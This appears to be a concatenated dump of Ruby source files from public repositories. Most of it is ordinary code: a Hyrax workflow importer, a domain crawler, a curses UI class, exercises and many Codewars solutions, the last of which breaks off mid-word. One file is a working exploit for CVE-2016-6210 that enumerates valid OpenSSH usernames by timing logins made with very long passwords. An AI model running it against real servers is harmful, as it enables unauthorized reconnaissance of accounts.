/ruby/reader.rb
UTF-8
360
3.265625
3
[ "MIT" ]
permissive
# Module formatting text module TextFormatting # The reader # @abstract class Reader # Calls the given block once for each character, # passing the character as an argument. # The stream must be opened for reading or an IOError will be raised. # If no block is given, an enumerator is returned instead. def each_char end end end
true
6f3c7bae865387dae57933587b1700efd61e45a7
Ruby
juliancheal/AlexaOnRails
/lib/travis_api.rb
UTF-8
642
3.234375
3
[]
no_license
require 'travis' # They call him Travis, he has an API. class TravisAPI attr_reader :travis def initialize @travis = Travis::Client.new end def build_status(repo) repo = @travis.repo(repo) colour = repo.color response_string = "" case colour when "green" response_string = "Build is green. Everything's shiny cap'n." when "yellow" response_string = "They call me mellow yellow. The build is still building" when "red" response_string = "Everyting isn't awesome. The build is broken." end response_string end def whoami puts "Hello #{@travis.user.name}" end end
true
1e579528e0224eb52f3ee3dec03a04a42d417e9d
Ruby
sandagolcea/battle-ships-web
/spec/game_spec.rb
UTF-8
643
2.84375
3
[]
no_license
require 'game' describe Game do let(:player1){double :player} let(:player2){double :player} it 'can initialize a new game with two players' do end it 'should allow a player to place ships on his board' do end it 'should allow a player to look on his opponents board to see where he shot at without showing opponets ship' do end it 'should allow a player to shoot at opponents board' do end it 'should report if a player has won' do #should look at a players list of ships (board.ships.count) #then check if ships.destroyed? == true then that player loses #hence other player wins end end
true
f9e90ec4a8e86f95d3c5aebf4ce2a5e959175882
Ruby
samvera/hyrax
/app/services/hyrax/workflow/workflow_importer.rb
UTF-8
7,866
2.59375
3
[ "Apache-2.0" ]
permissive
# frozen_string_literal: true module Hyrax module Workflow # Responsible for loading workflows from a data source. # # @see .load_workflows # @see .generate_from_json_file class WorkflowImporter class_attribute :default_logger self.default_logger = Hyrax.logger class_attribute :path_to_workflow_files self.path_to_workflow_files = Rails.root.join('config', 'workflows', '*.json') class << self def clear_load_errors! self.load_errors = [] end attr_reader :load_errors private attr_writer :load_errors end # @api public # Load all of the workflows for the given permission_template # # @param [Hyrax::PermissionTemplate] permission_template # @param [#info, #debug, #warning, #fatal] logger - By default this is Hyrax::Workflow::WorkflowImporter.default_logger # @return [TrueClass] if one or more workflows were loaded # @return [FalseClass] if no workflows were loaded # @note I'd like to deprecate .load_workflows but for now that is beyond the scope of what I'm after. So I will use its magic instead def self.load_workflow_for(permission_template:, logger: default_logger) workflow_config_filenames = Dir.glob(path_to_workflow_files) if workflow_config_filenames.none? logger.info("Unable to load workflows for #{permission_template.class} ID=#{permission_template.id}. No workflows were found in #{path_to_workflow_files}") return false end workflow_config_filenames.each do |config| logger.info "Loading permission_template ID=#{permission_template.id} with workflow config #{config}" generate_from_json_file(path: config, permission_template: permission_template, logger: default_logger) end true end # @api public # # Load all the workflows in config/workflows/*.json for each of the permission templates # @param [#each] permission_templates - An enumerator of permission templates (by default Hyrax::PermissionTemplate.all) # @return [TrueClass] def self.load_workflows(permission_templates: Hyrax::PermissionTemplate.all, **kwargs) clear_load_errors! Array.wrap(permission_templates).each do |permission_template| load_workflow_for(permission_template: permission_template, **kwargs) end true end # @api public # # Responsible for generating the work type and corresponding processing entries based on given pathname or JSON document. # # @param [#read or String] path - the location on the file system that can be read # @param [Hyrax::PermissionTemplate] permission_template - the permission_template that will be associated with each of these entries # @return [Array<Sipity::Workflow>] def self.generate_from_json_file(path:, permission_template:, **keywords) contents = path.respond_to?(:read) ? path.read : File.read(path) data = JSON.parse(contents) generate_from_hash(data: data, permission_template: permission_template, **keywords) end # @api public # # Responsible for generating the work type and corresponding processing entries based on given pathname or JSON document. # # @param [#deep_symbolize_keys] data - the configuration information from which we will generate all the data entries # @param [Hyrax::PermissionTemplate] permission_template - the permission_template that will be associated with each of these entries # @return [Array<Sipity::Workflow>] def self.generate_from_hash(data:, permission_template:, **keywords) importer = new(data: data, permission_template: permission_template, **keywords) workflows = importer.call self.load_errors ||= [] load_errors.concat(importer.errors) workflows end # @param [#deep_symbolize_keys] data - the configuration information from which we will generate all the data entries # @param [Hyrax::PermissionTemplate] permission_template - the permission_template that will be associated with each of these entries # @param [#call] schema - The schema in which you will validate the data # @param [#call] validator - The validation service for the given data and schema # @param [#debug, #info, #fatal, #warning] logger - The logger to capture any meaningful output def initialize(data:, permission_template:, schema: default_schema, validator: default_validator, logger: default_logger) self.data = data self.schema = schema self.validator = validator self.permission_template = permission_template @logger = logger validate! end private attr_reader :data, :logger def data=(input) @data = input.deep_symbolize_keys end attr_accessor :validator, :permission_template, :schema def default_validator SchemaValidator.method(:call) end def default_schema Hyrax::Workflow::WorkflowSchema.new end def validate! validator.call(data: data, schema: schema, logger: logger) end public attr_accessor :errors def call self.errors = [] Array.wrap(data.fetch(:workflows)).map do |configuration| find_or_create_from(configuration: configuration) rescue InvalidStateRemovalException => e e.states.each do |state| error = I18n.t('hyrax.workflow.load.state_error', workflow_name: state.workflow.name, state_name: state.name, entity_count: state.entities.count) Hyrax.logger.error(error) errors << error end Sipity::Workflow.find_by(name: configuration[:name]) end end private def find_or_create_from(configuration:) workflow = Sipity::Workflow.find_or_initialize_by(name: configuration.fetch(:name), permission_template: permission_template) generate_state_diagram!(workflow: workflow, actions_configuration: configuration.fetch(:actions)) find_or_create_workflow_permissions!( workflow: workflow, workflow_permissions_configuration: configuration.fetch(:workflow_permissions, []) ) workflow.label = configuration.fetch(:label, nil) workflow.description = configuration.fetch(:description, nil) workflow.allows_access_grant = configuration.fetch(:allows_access_grant, nil) workflow.save! logger.info(%(Loaded Sipity::Workflow "#{workflow.name}" for #{permission_template.class} ID=#{permission_template.id})) workflow end extend Forwardable def_delegator WorkflowPermissionsGenerator, :call, :find_or_create_workflow_permissions! def_delegator SipityActionsGenerator, :call, :generate_state_diagram! module SchemaValidator # @param data [Hash] # @param schema [#call] # # @return [Boolean] true if the data validates from the schema # @raise [RuntimeError] if the data does not validate against the schema def self.call(data:, schema:, logger:) result = schema.call(data) return true if result.success? message = format_message(result) logger.error(message) raise message end ## # @param result [Dry::Validation::Result] # # @return [String] def self.format_message(result) messages = result.errors(full: true).map do |msg| "Error on workflow entry #{msg.path}\n\t#{msg.text}\n\tGot: #{msg.input || '[no entry]'}" end messages << "Input was:\n\t#{result.to_h}" messages.join("\n") end end end end end
true
8b0ba9a53a455f948143197612461abe89bd6664
Ruby
linrock/the-traveler
/app/models/scout.rb
UTF-8
3,027
2.859375
3
[]
no_license
# The scout explores unvisited domains and finds prospective # domains to visit in the future # class Scout LOG_FILE = "log/scout.log" BEANSTALK_HOST = "localhost:11300" MAX_QUEUE_SIZE = 20000 OUTPUT_TUBE = "domains_to_visit" def initialize(url = nil) @logger = ColorizedLogger.new(LOG_FILE) @beanstalk = Beaneater.new(BEANSTALK_HOST) @tube = @beanstalk.tubes[OUTPUT_TUBE] find_unique_domains_from_url(url) if url.present? end def process_domain(domain) @logger.log "Visiting - #{domain.url}" unless domain.valid? @logger.log "Invalid URL: #{domain.url}", :color => :yellow return end html = domain.visit! if !domain.accessed? @logger.log "Failed: #{domain.error_message}", :color => :yellow wait_for_available_dns if domain.dns_error? return end emit_url domain.url urls = find_unique_domains_in_html(html) save_uncharted_domains urls end def save_uncharted_domains(urls) i = 0 ActiveRecord::Base.transaction do urls.each do |url| domain = Domain.find_by(:url => url) next if domain.present? domain = Domain.new(:url => url) next unless domain.valid? domain.save! i += 1 end end @logger.log "Found #{i} new domains out of #{urls.length}" end def visit_uncharted_domains(n = 50) Domain.uncharted(n).each { |domain| process_domain(domain) } end def find_unique_domains_from_url(url) process_domain Domain.find_or_create_by(:url => url) end def find_unique_domains_in_html(html) doc = Nokogiri::HTML.parse html links = doc.css("a").map {|a| a.attr("href") }. select {|href| (href =~ /\Ahttps?:\/\//) rescue nil }. map {|href| URI.parse(href).hostname.downcase.strip rescue nil }. uniq end def nameservers_reachable? `ping -c 1 8.8.8.8 &> /dev/null ; echo $?`.to_i == 0 end def wait_for_available_dns delay = 60 while !nameservers_reachable? @logger.log "Can't access nameservers. Waiting for #{delay}s" sleep delay delay += 5 if delay < 900 end end def send_status_update stats = "#uncharted: #{Domain.uncharted.count}, #enqueued: #{queue_size}" @logger.log "Status update - #{stats}", :color => :cyan end def emit_url(url, priority = 10) @tube.put url, :pri => priority end def queue_size @tube.stats[:current_jobs_ready] end def queue_is_fat? queue_size > MAX_QUEUE_SIZE end def wait_for_opportunity return unless queue_is_fat? sleep(60) wait_for_opportunity end def explore! if Domain.uncharted.count == 0 @logger.log "No more domains to visit. Exiting" exit 1 end if queue_is_fat? @logger.log "Taking a break - queue is pretty full (#{queue_size})" end loop do wait_for_opportunity visit_uncharted_domains send_status_update sleep 2 end ensure @beanstalk.close end end
true
541fdca44fb738a2abd49d71c2119887f5846ec5
Ruby
LYoungJoo/CVE-in-Ruby
/CVE-2016-6210/cve-2016-6210_exploit.rb
UTF-8
964
2.8125
3
[]
no_license
#!/usr/bin/env ruby # # CVE-2016-6210 | OpenSSHd user enumeration # KING SABRI | @KINGSABRI # begin require 'net/ssh' rescue puts "[!] Install net-ssh gem\ngem install net-ssh" end if ARGV.size >= 1 host, port = ARGV[0].split(':') user_list = File.readlines ARGV[1] password = 'A' * 25000 else puts "ruby #{__FILE__} <TARGET:PORT> <USER_LIST>" exit end def ssh(host, port, user, pass) begin starts = Time.now Net::SSH.start(host, user.chomp, :port => port, :password => pass, :paranoid => false, :non_interactive => true) rescue ends = Time.now end ends - starts end a_user = "____#{[*'A'..'Z'][rand(26)]}____" puts "[+] Getting non-existing '#{a_user}' user time: " # Repeate the login for more reliable time nonxist = 0 3.times {nonxist = ssh(host, port, "#{a_user}", password)} user_list.each do |user| timer = ssh(host, port, user, password) sleep 0.2 puts "[+] Found user: #{user}" if timer > nonxist end
true
5c1ac4ea4a87f7f05692fdf3aabb96b55272a548
Ruby
denio-rus/thinknetica-ruby
/lesson2/fibonacci.rb
UTF-8
134
2.921875
3
[]
no_license
fibonacci = [0] next_number = 1 until next_number > 100 fibonacci << next_number next_number = fibonacci[-1] + fibonacci[-2] end
true
abef4f6de0d9a24a4b3b63cb3f5aad36f751ab86
Ruby
andoshin11/twterm
/lib/twterm/tab/base.rb
UTF-8
1,676
2.71875
3
[ "MIT" ]
permissive
require 'twterm/event/screen/resize' require 'twterm/subscriber' module Twterm module Tab class Base include Curses include Subscriber attr_reader :window attr_accessor :title def ==(other) self.equal?(other) end def close unsubscribe window.close end def initialize @window = stdscr.subwin(stdscr.maxy - 5, stdscr.maxx, 3, 0) subscribe(Event::Screen::Resize, :resize) end def refresh Thread.new do refresh_mutex.synchronize do window.clear # avoid misalignment caused by some multibyte-characters window.with_color(:black, :transparent) do (0...window.maxy).each do |i| window.setpos(i, 0) window.addch(' ') end end update window.refresh end if refreshable? end end def respond_to_key(_) fail NotImplementedError, 'respond_to_key method must be implemented' end def title=(title) @title = title TabManager.instance.refresh_window end private def refresh_mutex @refresh_mutex ||= Mutex.new end def refreshable? !( refresh_mutex.locked? || closed? || TabManager.instance.current_tab.object_id != object_id ) end def resize(event) window.resize(stdscr.maxy - 5, stdscr.maxx) window.move(3, 0) end def update fail NotImplementedError, 'update method must be implemented' end end end end
true
ca77266109a96215ffcb2a804e16a73136718390
Ruby
kelseywaldo/cs-fundamentals
/concepts/recursion/iterative-exercises.rb
UTF-8
1,331
4.4375
4
[]
no_license
# reverse the elements in an integer array in place # time: O(n) / Linear - dependent on size of array # space: O(1) / Constant - variables independent of size of array def reverse(array) i = 0 j = array.length - 1 while i < j array[i], array[j] = array[j], array[i] i += 1 j -= 1 end return array end # check if a given input string is a palindrome. return true or false # time: O(n) / Linear - dependent on length of string # space: O(1) / Constant - variables independent of length of string def is_palindrome(string) return true if string.length <= 1 i = 0 j = string.length - 1 while i < j return false if string[i] != string[j] i += 1 j -= 1 end return true end # return the nth Fib number in the Fibonacci series # time: O(n) / Linear - dependent on n's value # space: O(1) / Constant - variables independent of n's value def find_nth_fib(n) return "n must be greater than 0" if n < 0 a = 0 b = 1 n.times do temp = a a = b b = temp + a end return a end # calculate factorial of a number # time: O(n) / Linear - dependent on n's value # space: O(1) / Constant - variables independent of n's value def factorial(n) return "n must be greater than 1" if n < 1 factorial = 1 until n == 0 factorial *= n n -= 1 end factorial end
true
e1d974b078103fed734535da547b46828386273e
Ruby
SpaceOtterInSpace/RubyWarrior
/levelcode.rb
UTF-8
954
3.625
4
[]
no_license
#level 2 class Player def play_turn(warrior) if warrior.feel.empty? warrior.walk! else warrior.attack! end end end #level 3 class Player def play_turn(warrior) if warrior.feel.empty? if warrior.health < 20 warrior.rest! else warrior.walk! end else warrior.attack! end end end #level 4 class Player def play_turn(warrior) if !warrior.feel.empty? #when a monster is next to you warrior.attack! elsif warrior.health < 20 #when there is no monster next to you but your health is less than 20 if @health && warrior.health < @health #when youre getting shot by the arrow warrior.walk! else #when no one is attacking this brings your health up to 20 warrior.rest! end else warrior.walk! #when no one is attacking and your health is 20 you need to keep walking end @health = warrior.health end end
true
d7b87dbcb12fce2ab61c043d0e2d8792c2ff10c0
Ruby
JordanStafford/Ruby
/Ruby Practice Continued/Arrays/finding_the_index_element.rb
UTF-8
237
4.0625
4
[]
no_license
#finding the index of an element days_of_week.index("Wed") #starting at element 0 and working through days_of_week[1, 3] #specifying a range to index through days_of_week[1..3] #using the slice method instead days_of_week.slice(1..3)
true
e0a0fdd628c0ede73e1059e7b0f340b3cd77c784
Ruby
masao/p-album
/yaml-test.rb
UTF-8
580
2.90625
3
[]
no_license
#! /usr/local/bin/ruby # $Id$ require 'time' require 'exif' require 'yaml' def exif2hash (exif) hash = Hash.new exif.each_entry() {|tag, value| hash[tag] = value } return hash end metadata = YAML::load(File.open "metadata.yaml") exif = Exif.new(ARGV[0]) hash = exif2hash(exif) puts( { File::basename(ARGV[0]) => { "EXIF info" => hash } }.to_yaml ) puts( {"datetime" => Time.new}.to_yaml) yaml = YAML::Store.new("metadata.yaml", {}) yaml.transaction do yaml['names'] = ['Steve', 'Jonathan', 'Tom'] yaml['hello'] = {'hi' => 'hello', 'yes' => 'YES!!' } end
true
cc558522f6d5952f4f0dbf20cb20ce1536d26100
Ruby
kuizor/server-todo
/0propedeutico/retos/resultados/04suma_50num_enteros.rb
UTF-8
221
3.328125
3
[]
no_license
#Escriba el código Ruby que calcule la suma de los 50 primeros números #enteros. puts "Partiendo los Enteros de 0" num = 0 i = 0 sum = 0 while (i <= 50) do num = num + 1 sum = sum + num i +=1 #puts ant end puts sum
true
e9ae269c95d38a9304cfd925a984bae4f376bd9a
Ruby
naiginod/Launch_School_Examples
/exercises1.rb
UTF-8
40
2.765625
3
[]
no_license
arr = Array(1..10) arr.each {|x| puts x}
true
5bd42ef0104785d3fd1b48cd39b349faa03ac0d6
Ruby
Lydias303/event_reporter-1
/lib/messages.rb
UTF-8
259
2.609375
3
[]
no_license
class Messages def help "Hey Im a help method!" end def intro_message "Welcome to Entry Repository. Please enter your first commmand." end def exit "exit" end def invalid_message "Invalid entry, please try again. " end end
true
6de8a52b7371441349eab42cf5c31e0ff2a47b0a
Ruby
n-gb/advent-of-code-2020
/dec14_1.rb
UTF-8
479
3.265625
3
[]
no_license
require_relative 'advent_data' data = AdventData.new(day: 14, session: ARGV[0]).get def masked(number, mask) and_mask = mask.gsub('X', '1').to_i(2) or_mask = mask.gsub('X', '0').to_i(2) ((number & and_mask) | or_mask) end mask = '' mem = [] data.each do |instruction| what, value = instruction.split(' = ') if what == 'mask' mask = value else index = what.scan(/\d+/).first.to_i mem[index] = masked(value.to_i, mask) end end puts mem.compact.sum
true
2bf368c3e96acf43ad0cd4e70d947f55754f3e6c
Ruby
tvweinstock/ruby_fundamentals1
/exercise3.rb
UTF-8
155
4
4
[]
no_license
puts "What's your name?" name = gets.chomp puts "Hi #{name}!" puts "How old are you?" age = gets.chomp puts "Oh, so you were born in #{2014 - age.to_i}"
true
9f7ff3de074b243d3d351ab6924fcba043930df2
Ruby
brandonlilly/lantern
/lib/switch.rb
UTF-8
2,395
2.828125
3
[ "MIT" ]
permissive
require_relative 'store' require_relative 'actions' require_relative 'conditions' require_relative 'expressions/term' require_relative 'assignment' require_relative 'wrapper' class Switch include AndOr include StoreId include Term @@store = Store.new attr_accessor :inverted, :name, :switch_id def initialize(options = {}) self.switch_id = options[:switch_id] self.name = options[:name] || 'Switch' self.inverted = options.fetch(:inverted, false) initialize_store(options, @@store) end def action(state) setSwitch(switch_id, state) end def condition(state) switchIsState(switch_id, state) end def <<(other) if [TrueClass, FalseClass, String, Symbol].include?(other.class) return wrap(:<<, other) end # SwitchAssignment.new(self, other) SwitchAssignment.new(self, other).generate # TODO: remove this line later end def ==(other) if other.is_a?(TrueClass) || other.is_a?(FalseClass) return wrap(:==, inverted ? !other : other) end if other.is_a?(Switch) return (self & other) | (!self & !other) end false end def !=(other) self == !other end def set(other) self << other end def clear self << false end def toggle self << :toggle end def randomize self << :randomize end def set? self == true end def clear? self == false end def to_cond set? end def ! clone(inverted: !inverted) end def clone(options = {}) self.class.new( store: options[:store] || store, id: options[:id] || id, name: options[:name] || name, switch_id: options[:switch_id] || switch_id, inverted: options.fetch(:inverted, inverted) ) end def count(other) representation == other.representation ? 1 : 0 end def unique self end def cost 0 end def offset 0 end def min 0 end def max 1 end def >=(other) raise InvalidOperationError end def <=(other) raise InvalidOperationError end def >(other) raise InvalidOperationError end def <(other) raise InvalidOperationError end def wrap(operator, state) SwitchWrapper.new(self, operator, state) end def representation "Switch#{id}" end def to_s "#{name}##{id}" end end class InvalidOperationError; end
true
6e4677be8ab86e95e39d0096afbfea8cbc041495
Ruby
JohnsCurry/pre-course
/introduction_to_programming/loops_and_iterators/3ex.rb
UTF-8
128
3.453125
3
[]
no_license
arr = ['zero', 'one', 'two', 'three'] arr.each_with_index do |arr, index| puts "#{arr} has the numeric form of #{index}" end
true
079491bc345287db59181c35dc8ac3137ca557af
Ruby
bblimke/webmock
/lib/webmock/request_registry.rb
UTF-8
853
2.6875
3
[ "LicenseRef-scancode-unknown-license-reference", "MIT" ]
permissive
# frozen_string_literal: true module WebMock class RequestRegistry include Singleton attr_accessor :requested_signatures def initialize reset! end def reset! self.requested_signatures = Util::HashCounter.new end def times_executed(request_pattern) self.requested_signatures.select do |request_signature| request_pattern.matches?(request_signature) end.inject(0) { |sum, (_, times_executed)| sum + times_executed } end def to_s if requested_signatures.hash.empty? "No requests were made." else text = "".dup self.requested_signatures.each do |request_signature, times_executed| text << "#{request_signature} was made #{times_executed} time#{times_executed == 1 ? '' : 's' }\n" end text end end end end
true
f6ff02cf69bd9b2a50318b6c4ff9805950c8d883
Ruby
jbyrnesshay/launchschool_enrolled
/this_other_thing/review_more.rb
UTF-8
33,643
3.078125
3
[]
no_license
# my solution def triple_double(num1,num2) nums_1, nums_2 = num1.to_s.chars, num2.to_s.chars straight_triple = nums_1.select.with_index {|num, i| [nums_1[i+1], nums_1[i+2]].all? {|test| num == test} } matched_double = nums_2.select.with_index {|num, i| straight_triple.any? {|test| num == test} && num == nums_2[i+1] } straight_triple.any? && matched_double.any? ? 1 : 0 end #other solutions Show Me: All Solutions Solutions of Users I am Following My Solutions Sort By: Best Practices Clever Newest Oldest c0nspiracy def triple_double(num1, num2) num1.to_s.scan(/(.)\1\1/).any? { |n| /#{n}{2}/ === num2.to_s } ? 1 : 0 end Best Practices16 Clever21 4 Fork Compare with your solution Link ReganRyanNZ def triple_double(num1,num2) num1 = num1.to_s num2 = num2.to_s 10.times do |i| if num1.include?(i.to_s*3) && num2.include?(i.to_s*2) return 1 end end return 0 end Best Practices11 Clever18 1 Fork Compare with your solution Link nick.strohl def triple_double(num1,num2) (0..9).each { |i| return 1 if num1.to_s.include?(i.to_s*3) && num2.to_s.include?(i.to_s*2) } 0 end Best Practices7 Clever3 0 Fork Compare with your solution Link usasnouski def triple_double(num1,num2) check_triple(num1) && check_double(num2) ? 1 : 0 end def check_triple(num1) num1.to_s.match(/(.)\1{2,}/) end def check_double(num2) num2.to_s.match(/(.)\1{1,}/) end Best Practices2 Clever0 0 Fork Compare with your solution Link 10XL def triple_double(num1,num2) "#{num1}-#{num2}".scan(/(\d)\1\1\d*-\d*\1\1/).count end Best Practices1 Clever1 0 Fork Compare with your solution Link bryanlo22, Iron Fingers def triple_double(num1, num2) /(\d)\1\1/ === num1.to_s && /(\d)\1/ === num2.to_s ? 1 : 0 end 1 similar code variation is grouped with this one Show Variations Best Practices1 Clever0 1 Fork Compare with your solution Link Matsamoto def triple_double(num1,num2) "#{num1} #{num2}" =~ /(\d)\1\1\d* \d*\1\1/ ? 1 : 0 end Best Practices1 Clever1 0 Fork Compare with your solution Link margarita2 def triple_double(num1,num2) str1 = num1.to_s str2 = num2.to_s if str1.include?("000") && str2.include?("00") return 1 elsif str1.include?("111") && str2.include?("11") return 1 elsif str1.include?("222") && str2.include?("22") return 1 elsif str1.include?("333") && str2.include?("33") return 1 elsif str1.include?("444") && str2.include?("44") return 1 elsif str1.include?("555") && str2.include?("55") return 1 elsif str1.include?("666") && str2.include?("66") return 1 elsif str1.include?("777") && str2.include?("77") return 1 elsif str1.include?("888") && str2.include?("88") return 1 elsif str1.include?("999") && str2.include?("99") return 1 else return 0 end end Best Practices0 Clever0 0 Fork Compare with your solution Link brad72287 def triple_double(num1,num2) [*0..9].each do |i| double=i.to_s*2 triple=i.to_s*3 return 1 if num1.to_s[triple] && num2.to_s[double] end return 0 end Best Practices0 Clever1 0 Fork Compare with your solution Link glowt def triple_double(num1,num2) l = lambda{ |x,arr| arr.to_s.chars.each_cons(x).to_a.map{|e| e.uniq if e.uniq.size == 1}.compact } (l.call(3,num1) & l.call(2,num2)).size > 0 ? 1 : 0 end Best Practices0 Clever1 0 Fork Compare with your solution Link maxiappleton def triple_double(num1,num2) (0..9).each do |dig| return 1 if num1.to_s =~ /#{dig}{3}/ && num2.to_s =~ /#{dig}{2}/ end 0 end Best Practices0 Clever1 0 Fork Compare with your solution Link lambda4fun def triple_double(num1,num2) (num1.to_s =~ /(\d)\1\1/ and num2.to_s.include?($1*2)) ? 1 : 0 end Best Practices0 Clever2 0 Fork Compare with your solution Link hoovercj def triple_double(num1,num2) #your code here (0..9).to_a.select { |n| num1.to_s =~ /#{n}{3}/ && num2.to_s =~ /#{n}{2}/ }.length end Best Practices0 Clever2 0 Fork Compare with your solution Link JamesAwesome def triples(num) num = num.to_s num.chars.uniq.select { |x| num.include?(x + x + x) } end def doubles(num) num = num.to_s num.chars.uniq.select { |x| num.include?(x + x) } end def triple_double(num1,num2) common_triples = triples(num1) & doubles(num2) return 1 if common_triples.length > 0 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link ml_dalos def triple_double(num1,num2) #your code here (num1.to_s + ' ' + num2.to_s).match(/(.)\1\1.*\s.*\1\1/) ? 1 : 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link ProgrammingSam def triple_double(num1,num2) num1 = num1.to_s.split("") num2 = num2.to_s.split("") triple = 0 double = 0 num1.each_with_index do |x,n| if (x == num1[n+1]) and (x == num1[n+2]) triple = 1 break else triple = 0 end end num2.each_with_index do |x,n| if x == num2[n+1] double = 1 break else double = 0 end end if triple == 1 and double == 1 return 1 else return 0 end end Best Practices0 Clever0 0 Fork Compare with your solution Link Tamenze def triple_double(num1,num2) #your code here num1 = num1.to_i tripleFlag = false doubleFlag = false tripleDouble = 0 watchNum = 0 arr1 = num1.to_s.split("") arr1.each_with_index{|char,index| if (char == arr1[index+1]) && (char == arr1[index+2]) tripleFlag = true watchNum = arr1[index..(index+1)].join end } #now, just check if arr2 contains watchNum arr2 = num2.to_s if arr2.include? watchNum.to_s doubleFlag = true end tripleFlag && doubleFlag ? tripleDouble = 1 : tripleDouble = 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link Firefly2002 def triple_double(num1,num2) string_1 = num1.to_s string_2 = num2.to_s char = string_1.chars.detect { |num| string_1.match("#{num}{3}") } || -1 string_2.match("#{char}{2}") ? 1 : 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link JohnnyNiu def triple_double(num1,num2) (num1.to_s.scan /(\d)\1{2}/).any?{|n| /#{n}{2}/ === num2.to_s} ? 1:0 end Best Practices0 Clever0 0 Fork Compare with your solution Link JohnnyNiu def triple_double(num1,num2) ((num1.to_s.scan /(.)\1{2}/ ) & (num2.to_s.scan /(.)\1{1}/)).empty? ? 0:1 end Best Practices0 Clever0 0 Fork Compare with your solution Link umairb1 def triple_double(num1,num2) (0..20).each{|x| return 1 if num1.to_s.include?(x.to_s*3) && num2.to_s.include?(x.to_s*2) } 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link markfranciose def triple_double(num1,num2) arr_1 = num1.to_s.split("") arr_2 = num2.to_s.split("") arr_1_streak = false arr_2_streak = false index = 0 streak_num = 1 arr_1.each do |num| if arr_1[index] == arr_1[index + 1] && arr_1[index] == arr_1[index + 2] streak_num = arr_1[index] arr_1_streak = true break end index += 1 end index = 0 arr_2.each do |num| if arr_2[index] == streak_num && arr_2[index] == arr_2[index + 1] arr_2_streak = true end index += 1 end return 1 if arr_1_streak && arr_2_streak 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link jgradim def triple_double(num1, num2) t1 = num1.to_s.scan(/(\d)\1\1/).flatten t2 = num2.to_s.scan(/(\d)\1/).flatten (t1 & t2).size > 0 ? 1 : 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link rveneracion def triple_double(num1,num2) triple = num1.to_s.split('').select{|x| num1.to_s.include? ([x] * 3).join('')} double = num2.to_s.split('').select{|x| (num2.to_s.include? ([x] * 2).join('')) and triple.include? x } if triple.length > 0 and double.length > 0 return 1 end return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link bah87 def triples(num) arr = num.to_s.chars trips = [] idx = 0 while idx < arr.length-2 a = arr[idx..idx+2] trips << arr[idx].to_i if a.uniq[0] == a[0] && a.uniq[0] == a[1] && a.uniq[0] == a[2] idx += 1 end trips end def doubles(num) arr = num.to_s.chars dubs = [] idx = 0 while idx < arr.length-1 a = arr[idx..idx+1] dubs << arr[idx].to_i if a.uniq[0] == a[0] && a.uniq[0] == a[1] idx += 1 end dubs end def triple_double(num1,num2) trips = triples(num1) dubs = doubles(num2) trips.each do |el| return 1 if dubs.include?(el) end return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link jfeng702 def triple_double(num1,num2) triplets = [] num1.to_s.chars.each_with_index {|e,i| triplets << e if e == num1.to_s[i+1] && num1.to_s[i+1] == num1.to_s[i+2]} triplets.uniq! num2.to_s.chars.each_with_index {|e,i| return 1 if triplets.include?(e) && num2.to_s[i+1] == e} return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link jcmckay def triple_double(num1,num2) ary1 = num1.to_s.chars.map(&:to_i) ary2 = num2.to_s.chars.map(&:to_i) first = false second = false ary1.each_with_index { |n,i| if ary1[i-1] == n && n == ary1[i+1] first = true break end } ary2.each_with_index { |n,i| if n == ary2[i+1] second = true break end } return 1 if first && second return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link Zion_w def triple_double(num1,num2) #your code here num1 = num1.to_s num2 = num2.to_s 10.times do |i| return 1 if num1.include?(i.to_s*3) && num2.include?(i.to_s*2) end 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link uanka def triple_double(num1,num2) s_num1 = num1.to_s s_num2 = num2.to_s for i in (0..9) if s_num1.match(Regexp.new(i.to_s+'{3}')) return 1 if s_num2.match(Regexp.new(i.to_s+'{2}')) end end return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link rvkrish def triple_double(num1,num2) num1.to_s.split("").uniq.each { |e| return 1 if (num1.to_s.include?(e*3) && num2.to_s.include?(e*2)) } return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link rvkrish def triple_double(num1,num2) hash_triple = {} hash_double = {} element = num1.to_s.split("").first num1.to_s.split("").each{|e| if element == e hash_triple[e]||=0 hash_triple[e]+=1 else hash_triple[element] = 0 if hash_triple[element] && hash_triple[element] < 3 element = e hash_triple[e]||=0 hash_triple[e]+=1 end } element = num2.to_s.split("").first num2.to_s.split("").each{|e| if hash_triple[e] && hash_triple[e] >= 3 && element == e hash_double[e]||=0 hash_double[e]+=1 else hash_double[element] = 0 if hash_double[element] && hash_double[element] < 2 element = e hash_double[e]||=0 hash_double[e]+=1 end } hash_double.each{|k,v| if v>=2 return 1 end } return 0 #your code here end Best Practices0 Clever0 0 Fork Compare with your solution Link ryanm1234 def triple_double(num1,num2) num1_triples = num1.to_s .split('') .each_cons(3) .select { |(n1, n2, n3)| n1 == n2 && n2 == n3 } .map { |(n1,_,_)| n1 } exists = num2.to_s .split('') .each_cons(2) .any? { |(n1, n2)| n1 == n2 && num1_triples.include?(n1) } exists ? 1 : 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link KeoniGarner def triple_double(num1,num2) loopCount = 0 numberArray1 = num1.to_s.split('') while loopCount < numberArray1.size - 2 if numberArray1[loopCount].to_i == numberArray1[loopCount + 1].to_i && numberArray1[loopCount].to_i == numberArray1[loopCount + 2].to_i loopCount2 = 0 numberArray2 = num2.to_s.split('') while loopCount2 < numberArray2.size - 1 if numberArray1[loopCount].to_i == numberArray2[loopCount2].to_i && numberArray1[loopCount].to_i == numberArray2[loopCount2 + 1].to_i return 1 end loopCount2+=1 end end loopCount+=1 end return 0 end Best Practices0 Clever0 0 Fork Compare with your solution Link ryanmease def triple_double(num1, num2) triples = get_triples(num1) doubles = get_doubles(num2) (triples & doubles).empty? ? 0 : 1 end def get_triples(num) digits = num.to_s.chars.map(&:to_i) triples = [] digits.each_index do |i| if digits[i] == digits[i + 1] && digits[i] == digits[i + 2] triples << digits[i] end end triples.uniq end def get_doubles(num) digits = num.to_s.chars.map(&:to_i) doubles = [] digits.each_index do |i| if digits[i] == digits[i + 1] doubles << digits[i] end end doubles.uniq end Best 